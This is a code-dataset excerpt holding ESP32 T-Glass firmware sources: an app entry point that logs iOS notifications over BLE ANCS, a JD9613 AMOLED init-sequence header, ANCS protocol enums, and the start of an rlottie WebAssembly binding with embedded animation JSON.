{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
ancs_app/main/main.c
|
#include <stdio.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "esp_log.h"
#include "nvs_manager.h"
#include "t_glass.h"
#include "ancs_app.h"
#define TAG "[Glass Main]"
void notification_received_callback(NotificationAttributes *notification)
{
ESP_LOGI(TAG, "New Notification Received:");
ESP_LOGI(TAG, "Index: %d", (int)notification_index);
ESP_LOGI(TAG, "UID: %d", (int)notification->NotificationUID);
ESP_LOGI(TAG, "Identifier: %s", notification->Identifier);
ESP_LOGI(TAG, "Title: %s", notification->Title);
ESP_LOGI(TAG, "Subtitle: %s", notification->Subtitle);
ESP_LOGI(TAG, "Message: %s", notification->Message);
add_tile_view(notification_index, notification);
}
void app_main(void)
{
ESP_LOGE(TAG, "App Started!");
// Initialize NVS
if (nvs_manager_init() != ESP_OK)
{
ESP_LOGE(TAG, "[Err] Failed to initialize NVS.");
return;
}
if (init_tglass() != ESP_OK)
{
ESP_LOGE(TAG, "[Err] T-Glass Init Fail");
abort();
}
ESP_LOGI(TAG, "[Pass] T-Glass Init");
ancs_app(notification_received_callback);
}
| 1,170
|
main
|
c
|
en
|
c
|
code
|
{"qsc_code_num_words": 149, "qsc_code_num_chars": 1170.0, "qsc_code_mean_word_length": 5.00671141, "qsc_code_frac_words_unique": 0.34228188, "qsc_code_frac_chars_top_2grams": 0.07506702, "qsc_code_frac_chars_top_3grams": 0.10723861, "qsc_code_frac_chars_top_4grams": 0.03217158, "qsc_code_frac_chars_dupe_5grams": 0.04825737, "qsc_code_frac_chars_dupe_6grams": 0.04825737, "qsc_code_frac_chars_dupe_7grams": 0.0, "qsc_code_frac_chars_dupe_8grams": 0.0, "qsc_code_frac_chars_dupe_9grams": 0.0, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.0, "qsc_code_frac_chars_whitespace": 0.17692308, "qsc_code_size_file_byte": 1170.0, "qsc_code_num_lines": 45.0, "qsc_code_num_chars_line_max": 74.0, "qsc_code_num_chars_line_mean": 26.0, "qsc_code_frac_chars_alphabet": 0.77466251, "qsc_code_frac_chars_comments": 0.01538462, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.24045139, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.05555556, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 1.0, "qsc_codec_score_lines_no_logic": 0.30555556, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": 0.25}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
ancs_app/main/include/jd9613.h
|
#pragma once
#include "esp_lcd_panel_interface.h"
#include "esp_lcd_panel_vendor.h"
#define AMOLED_DEFAULT_BRIGHTNESS 175
typedef struct
{
uint32_t addr;
uint8_t param[20];
uint32_t len;
} lcd_cmd_t;
#define JD9613_INIT_SEQUENCE_LENGTH 88
#define JD9613_WIDTH 126
#define JD9613_HEIGHT 294
#define LCD_CMD_RGB 0x00
#ifdef __cplusplus
extern "C"
{
#endif
/**
* @brief OLED panel initialization commands.
*
*/
static const lcd_cmd_t jd9613_cmd[JD9613_INIT_SEQUENCE_LENGTH] = {
{0xfe, {0x01}, 0x02},
{0xf7, {0x96, 0x13, 0xa9}, 0x04},
{0x90, {0x01}, 0x02},
{0x2c, {0x19, 0x0b, 0x24, 0x1b, 0x1b, 0x1b, 0xaa, 0x50, 0x01, 0x16, 0x04, 0x04, 0x04, 0xd7}, 0x0f},
{0x2d, {0x66, 0x56, 0x55}, 0x04},
{0x2e, {0x24, 0x04, 0x3f, 0x30, 0x30, 0xa8, 0xb8, 0xb8, 0x07}, 0x0a},
{0x33, {0x03, 0x03, 0x03, 0x19, 0x19, 0x19, 0x13, 0x13, 0x13, 0x1a, 0x1a, 0x1a}, 0x0d},
{0x10, {0x0b, 0x08, 0x64, 0xae, 0x0b, 0x08, 0x64, 0xae, 0x00, 0x80, 0x00, 0x00, 0x01}, 0x0e},
{0x11, {0x01, 0x1e, 0x01, 0x1e, 0x00}, 0x06},
{0x03, {0x93, 0x1c, 0x00, 0x01, 0x7e}, 0x06},
{0x19, {0x00}, 0x02},
{0x31, {0x1b, 0x00, 0x06, 0x05, 0x05, 0x05}, 0x07},
{0x35, {0x00, 0x80, 0x80, 0x00}, 0x05},
{0x12, {0x1b}, 0x02},
{0x1a, {0x01, 0x20, 0x00, 0x08, 0x01, 0x06, 0x06, 0x06}, 0x09},
{0x74, {0xbd, 0x00, 0x01, 0x08, 0x01, 0xbb, 0x98}, 0x08},
{0x6c, {0xdc, 0x08, 0x02, 0x01, 0x08, 0x01, 0x30, 0x08, 0x00}, 0x0a},
{0x6d, {0xdc, 0x08, 0x02, 0x01, 0x08, 0x02, 0x30, 0x08, 0x00}, 0x0a},
{0x76, {0xda, 0x00, 0x02, 0x20, 0x39, 0x80, 0x80, 0x50, 0x05}, 0x0a},
{0x6e, {0xdc, 0x00, 0x02, 0x01, 0x00, 0x02, 0x4f, 0x02, 0x00}, 0x0a},
{0x6f, {0xdc, 0x00, 0x02, 0x01, 0x00, 0x01, 0x4f, 0x02, 0x00}, 0x0a},
{0x80, {0xbd, 0x00, 0x01, 0x08, 0x01, 0xbb, 0x98}, 0x08},
{0x78, {0xdc, 0x08, 0x02, 0x01, 0x08, 0x01, 0x30, 0x08, 0x00}, 0x0a},
{0x79, {0xdc, 0x08, 0x02, 0x01, 0x08, 0x02, 0x30, 0x08, 0x00}, 0x0a},
{0x82, {0xda, 0x40, 0x02, 0x20, 0x39, 0x00, 0x80, 0x50, 0x05}, 0x0a},
{0x7a, {0xdc, 0x00, 0x02, 0x01, 0x00, 0x02, 0x4f, 0x02, 0x00}, 0x0a},
{0x7b, {0xdc, 0x00, 0x02, 0x01, 0x00, 0x01, 0x4f, 0x02, 0x00}, 0x0a},
{0x84, {0x01, 0x00, 0x09, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19, 0x19}, 0x0b},
{0x85, {0x19, 0x19, 0x19, 0x03, 0x02, 0x08, 0x19, 0x19, 0x19, 0x19}, 0x0b},
{0x20, {0x20, 0x00, 0x08, 0x00, 0x02, 0x00, 0x40, 0x00, 0x10, 0x00, 0x04, 0x00}, 0x0d},
{0x1e, {0x40, 0x00, 0x10, 0x00, 0x04, 0x00, 0x20, 0x00, 0x08, 0x00, 0x02, 0x00}, 0x0d},
{0x24, {0x20, 0x00, 0x08, 0x00, 0x02, 0x00, 0x40, 0x00, 0x10, 0x00, 0x04, 0x00}, 0x0d},
{0x22, {0x40, 0x00, 0x10, 0x00, 0x04, 0x00, 0x20, 0x00, 0x08, 0x00, 0x02, 0x00}, 0x0d},
{0x13, {0x63, 0x52, 0x41}, 0x04},
{0x14, {0x36, 0x25, 0x14}, 0x04},
{0x15, {0x63, 0x52, 0x41}, 0x04},
{0x16, {0x36, 0x25, 0x14}, 0x04},
{0x1d, {0x10, 0x00, 0x00}, 0x04},
{0x2a, {0x0d, 0x07}, 0x03},
{0x27, {0x00, 0x01, 0x02, 0x03, 0x04, 0x05}, 0x07},
{0x28, {0x00, 0x01, 0x02, 0x03, 0x04, 0x05}, 0x07},
{0x26, {0x01, 0x01}, 0x03},
{0x86, {0x01, 0x01}, 0x03},
{0xfe, {0x02}, 0x02},
{0x16, {0x81, 0x43, 0x23, 0x1e, 0x03}, 0x06},
{0xfe, {0x03}, 0x02},
{0x60, {0x01}, 0x02},
{0x61, {0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x0d, 0x26, 0x5a, 0x80, 0x80, 0x95, 0xf8, 0x3b, 0x75}, 0x10},
{0x62, {0x21, 0x22, 0x32, 0x43, 0x44, 0xd7, 0x0a, 0x59, 0xa1, 0xe1, 0x52, 0xb7, 0x11, 0x64, 0xb1}, 0x10},
{0x63, {0x54, 0x55, 0x66, 0x06, 0xfb, 0x3f, 0x81, 0xc6, 0x06, 0x45, 0x83}, 0x0c},
{0x64, {0x00, 0x00, 0x11, 0x11, 0x21, 0x00, 0x23, 0x6a, 0xf8, 0x63, 0x67, 0x70, 0xa5, 0xdc, 0x02}, 0x10},
{0x65, {0x22, 0x22, 0x32, 0x43, 0x44, 0x24, 0x44, 0x82, 0xc1, 0xf8, 0x61, 0xbf, 0x13, 0x62, 0xad}, 0x10},
{0x66, {0x54, 0x55, 0x65, 0x06, 0xf5, 0x37, 0x76, 0xb8, 0xf5, 0x31, 0x6c}, 0x0c},
{0x67, {0x00, 0x10, 0x22, 0x22, 0x22, 0x00, 0x37, 0xa4, 0x7e, 0x22, 0x25, 0x2c, 0x4c, 0x72, 0x9a}, 0x10},
{0x68, {0x22, 0x33, 0x43, 0x44, 0x55, 0xc1, 0xe5, 0x2d, 0x6f, 0xaf, 0x23, 0x8f, 0xf3, 0x50, 0xa6}, 0x10},
{0x69, {0x65, 0x66, 0x77, 0x07, 0xfd, 0x4e, 0x9c, 0xed, 0x39, 0x86, 0xd3}, 0x0c},
{0xfe, {0x05}, 0x02},
{0x61, {0x00, 0x31, 0x44, 0x54, 0x55, 0x00, 0x92, 0xb5, 0x88, 0x19, 0x90, 0xe8, 0x3e, 0x71, 0xa5}, 0x10},
{0x62, {0x55, 0x66, 0x76, 0x77, 0x88, 0xce, 0xf2, 0x32, 0x6e, 0xc4, 0x34, 0x8b, 0xd9, 0x2a, 0x7d}, 0x10},
{0x63, {0x98, 0x99, 0xaa, 0x0a, 0xdc, 0x2e, 0x7d, 0xc3, 0x0d, 0x5b, 0x9e}, 0x0c},
{0x64, {0x00, 0x31, 0x44, 0x54, 0x55, 0x00, 0xa2, 0xe5, 0xcd, 0x5c, 0x94, 0xcf, 0x09, 0x4a, 0x72}, 0x10},
{0x65, {0x55, 0x65, 0x66, 0x77, 0x87, 0x9c, 0xc2, 0xff, 0x36, 0x6a, 0xec, 0x45, 0x91, 0xd8, 0x20}, 0x10},
{0x66, {0x88, 0x98, 0x99, 0x0a, 0x68, 0xb0, 0xfb, 0x43, 0x8c, 0xd5, 0x0e}, 0x0c},
{0x67, {0x00, 0x42, 0x55, 0x55, 0x55, 0x00, 0xcb, 0x62, 0xc5, 0x09, 0x44, 0x72, 0xa9, 0xd6, 0xfd}, 0x10},
{0x68, {0x66, 0x66, 0x77, 0x87, 0x98, 0x21, 0x45, 0x96, 0xed, 0x29, 0x90, 0xee, 0x4b, 0xb1, 0x13}, 0x10},
{0x69, {0x99, 0xaa, 0xba, 0x0b, 0x6a, 0xb8, 0x0d, 0x62, 0xb8, 0x0e, 0x54}, 0x0c},
{0xfe, {0x07}, 0x02},
{0x3e, {0x00}, 0x02},
{0x42, {0x03, 0x10}, 0x03},
{0x4a, {0x31}, 0x02},
{0x5c, {0x01}, 0x02},
{0x3c, {0x07, 0x00, 0x24, 0x04, 0x3f, 0xe2}, 0x07},
{0x44, {0x03, 0x40, 0x3f, 0x02}, 0x05},
{0x12, {0xaa, 0xaa, 0xc0, 0xc8, 0xd0, 0xd8, 0xe0, 0xe8, 0xf0, 0xf8}, 0x0b},
{0x11, {0xaa, 0xaa, 0xaa, 0x60, 0x68, 0x70, 0x78, 0x80, 0x88, 0x90, 0x98, 0xa0, 0xa8, 0xb0, 0xb8}, 0x10},
{0x10, {0xaa, 0xaa, 0xaa, 0x00, 0x08, 0x10, 0x18, 0x20, 0x28, 0x30, 0x38, 0x40, 0x48, 0x50, 0x58}, 0x10},
{0x14, {0x03, 0x1f, 0x3f, 0x5f, 0x7f, 0x9f, 0xbf, 0xdf, 0x03, 0x1f, 0x3f, 0x5f, 0x7f, 0x9f, 0xbf, 0xdf}, 0x11},
{0x18, {0x70, 0x1a, 0x22, 0xbb, 0xaa, 0xff, 0x24, 0x71, 0x0f, 0x01, 0x00, 0x03}, 0x0d},
{0xfe, {0x00}, 0x02},
{0x3a, {0x55}, 0x02},
{0xc4, {0x80}, 0x02},
{0x2a, {0x00, 0x00, 0x00, 0x7d}, 0x05},
{0x2b, {0x00, 0x00, 0x01, 0x25}, 0x05},
{0x35, {0x00}, 0x02},
{0x53, {0x28}, 0x02},
{0x51, {0xff}, 0x02},
{0, {0}, 0xff},
};
/**
* @brief Create OLED panel for model jd9613
*
* @note Vendor specific initialization can be different between manufacturers, should consult the LCD supplier for initialization sequence code.
*
* @param[in] io LCD panel IO handle
* @param[in] panel_dev_config general panel device configuration
* @param[out] ret_panel Returned LCD panel handle
* @return
* - ESP_ERR_INVALID_ARG if parameter is invalid
* - ESP_ERR_NO_MEM if out of memory
* - ESP_OK on success
*/
esp_err_t esp_lcd_new_panel_jd9613(const esp_lcd_panel_io_handle_t io, const esp_lcd_panel_dev_config_t *panel_dev_config, esp_lcd_panel_handle_t *ret_panel);
esp_err_t panel_jd9613_set_rotation(esp_lcd_panel_t *panel, uint8_t r);
void flipHorizontal(esp_lcd_panel_t *panel, bool enable);
void setBrightness(esp_lcd_panel_t *panel, uint8_t level);
#ifdef __cplusplus
}
#endif
| 7,450
|
jd9613
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 1033, "qsc_code_num_chars": 7450.0, "qsc_code_mean_word_length": 4.12100678, "qsc_code_frac_words_unique": 0.2875121, "qsc_code_frac_chars_top_2grams": 0.02818887, "qsc_code_frac_chars_top_3grams": 0.02536998, "qsc_code_frac_chars_top_4grams": 0.01879258, "qsc_code_frac_chars_dupe_5grams": 0.20554381, "qsc_code_frac_chars_dupe_6grams": 0.19591261, "qsc_code_frac_chars_dupe_7grams": 0.17805967, "qsc_code_frac_chars_dupe_8grams": 0.15409913, "qsc_code_frac_chars_dupe_9grams": 0.12403101, "qsc_code_frac_chars_dupe_10grams": 0.12403101, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.39318222, "qsc_code_frac_chars_whitespace": 0.24791946, "qsc_code_size_file_byte": 7450.0, "qsc_code_num_lines": 137.0, "qsc_code_num_chars_line_max": 163.0, "qsc_code_num_chars_line_mean": 54.37956204, "qsc_code_frac_chars_alphabet": 0.36658933, "qsc_code_frac_chars_comments": 0.08671141, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.03508772, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.00705467, "qsc_code_frac_chars_long_word_length": 0.0069077, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.48089359, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.03508772, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.05263158, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
0
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 1, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 1, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/T-Glass-Applications
|
ancs_app/main/include/ble_ancs.h
|
/*
* SPDX-FileCopyrightText: 2021 Espressif Systems (Shanghai) CO LTD
*
* SPDX-License-Identifier: Unlicense OR CC0-1.0
*/
#pragma once
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// EventID values
typedef enum
{
EventIDNotificationAdded = 0,
EventIDNotificationModified = 1,
EventIDNotificationRemoved = 2,
// Reserved EventID values = 3–255
} esp_EventID;
// EventFlags
typedef enum
{
EventFlagSilent = (1 << 0),
EventFlagImportant = (1 << 1),
EventFlagPreExisting = (1 << 2),
EventFlagPositiveAction = (1 << 3),
EventFlagNegativeAction = (1 << 4),
// Reserved EventFlags = (1 << 5)–(1 << 7
} esp_EventFlags;
// CategoryID values
typedef enum
{
CategoryIDOther = 0,
CategoryIDIncomingCall = 1,
CategoryIDMissedCall = 2,
CategoryIDVoicemail = 3,
CategoryIDSocial = 4,
CategoryIDSchedule = 5,
CategoryIDEmail = 6,
CategoryIDNews = 7,
CategoryIDHealthAndFitness = 8,
CategoryIDBusinessAndFinance = 9,
CategoryIDLocation = 10,
CategoryIDEntertainment = 11,
// Reserved CategoryID values = 12–255
} esp_CategoryID;
// CommandID values
typedef enum
{
CommandIDGetNotificationAttributes = 0,
CommandIDGetAppAttributes = 1,
CommandIDPerformNotificationAction = 2,
// Reserved CommandID values = 3–255
} esp_CommandID;
// NotificationAttributeID
typedef enum
{
NotificationAttributeIDAppIdentifier = 0,
NotificationAttributeIDTitle = 1, //(Needs to be followed by a 2-bytes max length parameter)
NotificationAttributeIDSubtitle = 2, //(Needs to be followed by a 2-bytes max length parameter)
NotificationAttributeIDMessage = 3, //(Needs to be followed by a 2-bytes max length parameter)
NotificationAttributeIDMessageSize = 4,
NotificationAttributeIDDate = 5,
NotificationAttributeIDPositiveActionLabel = 6,
NotificationAttributeIDNegativeActionLabel = 7,
// Reserved NotificationAttributeID values = 8–255
} esp_NotificationAttributeID;
/*
Note: The format of the NotificationAttributeIDMessageSize constant is a string that represents the integral value
of the message size. The format of the NotificationAttributeIDDate constant is a string that uses the Unicode Technical
Standard (UTS) #35 date format pattern yyyyMMdd'T'HHmmSS. The format of all the other constants in Table 3-5 are UTF-8
strings.
*/
// ActionID values
typedef enum
{
ActionIDPositive = 0,
ActionIDNegative = 1,
// Reserved ActionID values = 2–255
} esp_ActionID;
// AppAttributeID Values
typedef enum
{
AppAttributeIDDisplayName = 0,
// Reserved AppAttributeID values = 1–255
} esp_AppAttributeID;
typedef struct
{
uint8_t noti_attribute_id;
uint16_t attribute_len;
} esp_noti_attr_list_t;
typedef enum
{
Unknown_command = (0xA0), // The commandID was not recognized by the NP.
Invalid_command = (0xA1), // The command was improperly formatted.
Invalid_parameter = (0xA2), // One of the parameters (for example, the NotificationUID) does not refer to an existing object on the NP.
Action_failed = (0xA3), // The action was not performed
} esp_error_code;
typedef enum
{
attr_appidentifier_index = 0, // The commandID was not recognized by the NP.
attr_title_index,
attr_subtitle_index,
attr_message_index,
attr_messagesize_index,
attr_date_index,
attr_positiveactionlabel_index,
attr_negativeactionlabel_index,
} esp_attr_index;
#define ESP_NOTIFICATIONUID_LEN 4
char *EventID_to_String(uint8_t EventID);
char *CategoryID_to_String(uint8_t CategoryID);
void esp_receive_apple_notification_source(uint8_t *message, uint16_t message_len);
void esp_receive_apple_data_source(uint8_t *message, uint16_t message_len);
char *Errcode_to_String(uint16_t status);
| 3,736
|
ble_ancs
|
h
|
en
|
c
|
code
|
{"qsc_code_num_words": 432, "qsc_code_num_chars": 3736.0, "qsc_code_mean_word_length": 6.375, "qsc_code_frac_words_unique": 0.40972222, "qsc_code_frac_chars_top_2grams": 0.03594771, "qsc_code_frac_chars_top_3grams": 0.01525054, "qsc_code_frac_chars_top_4grams": 0.01851852, "qsc_code_frac_chars_dupe_5grams": 0.12490922, "qsc_code_frac_chars_dupe_6grams": 0.09949165, "qsc_code_frac_chars_dupe_7grams": 0.09949165, "qsc_code_frac_chars_dupe_8grams": 0.09949165, "qsc_code_frac_chars_dupe_9grams": 0.04793028, "qsc_code_frac_chars_dupe_10grams": 0.04793028, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03478261, "qsc_code_frac_chars_whitespace": 0.16889722, "qsc_code_size_file_byte": 3736.0, "qsc_code_num_lines": 127.0, "qsc_code_num_chars_line_max": 139.0, "qsc_code_num_chars_line_mean": 29.41732283, "qsc_code_frac_chars_alphabet": 0.84991948, "qsc_code_frac_chars_comments": 0.36830835, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1125, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.00677966, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codec_frac_lines_func_ratio": 0.0625, "qsc_codec_cate_bitsstdc": 0.0, "qsc_codec_nums_lines_main": 0, "qsc_codec_frac_lines_goto": 0.0, "qsc_codec_cate_var_zero": 0.0, "qsc_codec_score_lines_no_logic": 0.1, "qsc_codec_frac_lines_print": 0.0, "qsc_codec_frac_lines_preprocessor_directives": null}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codec_frac_lines_func_ratio": 0, "qsc_codec_nums_lines_main": 0, "qsc_codec_score_lines_no_logic": 0, "qsc_codec_frac_lines_preprocessor_directives": 0, "qsc_codec_frac_lines_print": 0}
|
0015/esp_rlottie
|
rlottie/src/wasm/rlottiewasm.cpp
|
#include <stdlib.h>
#include <string>
#include "rlottie.h"
#include <emscripten/bind.h>
using namespace emscripten;
const char *resource = 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Group\",\"hd\":false},{\"ty\":\"gr\",\"it\":[{\"d\":1,\"ty\":\"el\",\"s\":{\"a\":0,\"k\":[108,108],\"ix\":2},\"p\":{\"a\":0,\"k\":[0,0],\"ix\":3},\"nm\":\"Ellipse Path 1\",\"mn\":\"ADBE Vector Shape - Ellipse\",\"hd\":false},{\"ty\":\"fl\",\"c\":{\"a\":0,\"k\":[0.149019607843,0.132484795065,0.111034221275,1],\"ix\":4},\"o\":{\"a\":0,\"k\":100,\"ix\":5},\"r\":1,\"nm\":\"Fill 1\",\"mn\":\"ADBE Vector Graphic - Fill\",\"hd\":false},{\"ty\":\"tr\",\"p\":{\"a\":0,\"k\":[-128,48],\"ix\":2},\"a\":{\"a\":0,\"k\":[0,0],\"ix\":1},\"s\":{\"a\":0,\"k\":[100,100],\"ix\":3},\"r\":{\"a\":0,\"k\":0,\"ix\":6},\"o\":{\"a\":0,\"k\":100,\"ix\":7},\"sk\":{\"a\":0,\"k\":0,\"ix\":4},\"sa\":{\"a\":0,\"k\":0,\"ix\":5},\"nm\":\"Transform\"}],\"nm\":\"Ellipse 1\",\"np\":3,\"cix\":2,\"ix\":7,\"mn\":\"ADBE Vector Group\",\"hd\":false}],\"ip\":0,\"op\":141.6,\"st\":0,\"bm\":0},{\"ddd\":0,\"ind\":12,\"ty\":4,\"nm\":\"er\",\"parent\":11,\"sr\":1,\"ks\":{\"o\":{\"a\":0,\"k\":100,\"ix\":11},\"r\":{\"a\":1,\"k\":[{\"i\":{\"x\":[0.667],\"y\":[1]},\"o\":{\"x\":[0.333],\"y\":[0]},\"n\":[\"0p667_1_0p333_0\"],\"t\":7.199,\"s\":[-17],\"e\":[41]},{\"i\":{\"x\":[0.667],\"y\":[1]},\"o\":{\"x\":[0.333],\"y\":[0]},\"n\":[\"0p667_1_0p333_0\"],\"t\":67.199,\"s\":[41],\"e\":[-17]},{\"t\":134.400390625}],\"ix\":10},\"p\":{\"a\":0,\"k\":[-151.699,7.848,0],\"ix\":2},\"a\":{\"a\":0,\"k\":[16.5,-109.52,0],\"ix\":1},\"s\":{\"a\":0,\"k\":[131.332,131.332,100],\"ix\":6}},\"ao\":0,\"shapes\":[{\"ty\":\"gr\",\"it\":[{\"ind\":0,\"ty\":\"sh\",\"ix\":1,\"ks\":{\"a\":0,\"k\":{\"i\":[[-0.618,-7.395],[-2.323,-2.379],[-2.647,2.438]],\"o\":[[6.75,80.75],[1.66,1.7],[26.148,-64.813]],\"v\":[[-1.601,-210.907],[9.521,-107.006],[20.155,-104.319]],\"c\":true},\"ix\":2},\"nm\":\"Path 1\",\"mn\":\"ADBE Vector Shape - 